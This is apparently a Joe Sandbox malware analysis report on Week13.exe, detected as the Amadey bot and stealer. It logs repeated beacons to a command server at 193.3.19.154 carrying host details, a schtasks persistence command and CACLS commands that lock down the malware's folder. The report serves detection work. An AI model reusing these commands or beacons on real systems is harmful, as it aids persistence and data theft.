Nov 23, 2024 20:56:01.674710989 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50026	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:56:05.921580076 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50027	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:56:10.155056953 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50028	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:56:14.447710991 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50029	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:56:18.693800926 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50030	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:56:22.945043087 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50031	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:56:27.188958883 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50032	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:56:31.450035095 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50033	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:56:35.698836088 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50034	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:56:39.922708988 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50035	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:56:44.144380093 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50036	193.3.19.154	80	6160	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:56:48.409323931 CET	242	OUT	POST /store/games/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.3.19.154 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Target ID:	0
Start time:	14:52:56
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\Week13.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Week13.exe"
Imagebase:	0x610000
File size:	209'950 bytes
MD5 hash:	A1B8FA53A47B1991EE76A46EE8685B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000000.2018110902.0000000000611000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2024090733.0000000000611000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:52:57
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe"
Imagebase:	0x890000
File size:	209'950 bytes
MD5 hash:	A1B8FA53A47B1991EE76A46EE8685B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000001.00000002.4482643286.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.4482407558.0000000000891000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000001.00000002.4482643286.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000000.2023252824.0000000000891000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:52:57
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F
Imagebase:	0x650000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:52:57
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:52:57
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "user:N"&&CACLS "oneetx.exe" /P "user:R" /E&&echo Y\|CACLS "..\cb7ae701b3" /P "user:N"&&CACLS "..\cb7ae701b3" /P "user:R" /E&&Exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:52:57
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:52:57
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:52:57
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "oneetx.exe" /P "user:N"
Imagebase:	0xe20000
File size:	27'648 bytes
MD5 hash:	00BAAE10C69DAD58F169A3ED638D6C59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:52:57
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "oneetx.exe" /P "user:R" /E
Imagebase:	0xe20000
File size:	27'648 bytes
MD5 hash:	00BAAE10C69DAD58F169A3ED638D6C59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:52:57
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:52:57
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "..\cb7ae701b3" /P "user:N"
Imagebase:	0xe20000
File size:	27'648 bytes
MD5 hash:	00BAAE10C69DAD58F169A3ED638D6C59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:52:57
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "..\cb7ae701b3" /P "user:R" /E
Imagebase:	0xe20000
File size:	27'648 bytes
MD5 hash:	00BAAE10C69DAD58F169A3ED638D6C59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:53:01
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Imagebase:	0x890000
File size:	209'950 bytes
MD5 hash:	A1B8FA53A47B1991EE76A46EE8685B7D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.2072680147.0000000000891000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000000.2068747205.0000000000891000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:54:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Imagebase:	0x890000
File size:	209'950 bytes
MD5 hash:	A1B8FA53A47B1991EE76A46EE8685B7D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000000.2659622976.0000000000891000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2661827573.0000000000891000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:55:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Imagebase:	0x890000
File size:	209'950 bytes
MD5 hash:	A1B8FA53A47B1991EE76A46EE8685B7D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000000.3258747374.0000000000891000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.3259452857.0000000000891000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:56:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Imagebase:	0x890000
File size:	209'950 bytes
MD5 hash:	A1B8FA53A47B1991EE76A46EE8685B7D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000002.3859111470.0000000000891000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000000.3858755574.0000000000891000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:57:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Imagebase:	0x890000
File size:	209'950 bytes
MD5 hash:	A1B8FA53A47B1991EE76A46EE8685B7D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000000.4459397310.0000000000891000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.4464203230.0000000000891000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Process: Process Creation, Service: Service Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Week13.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

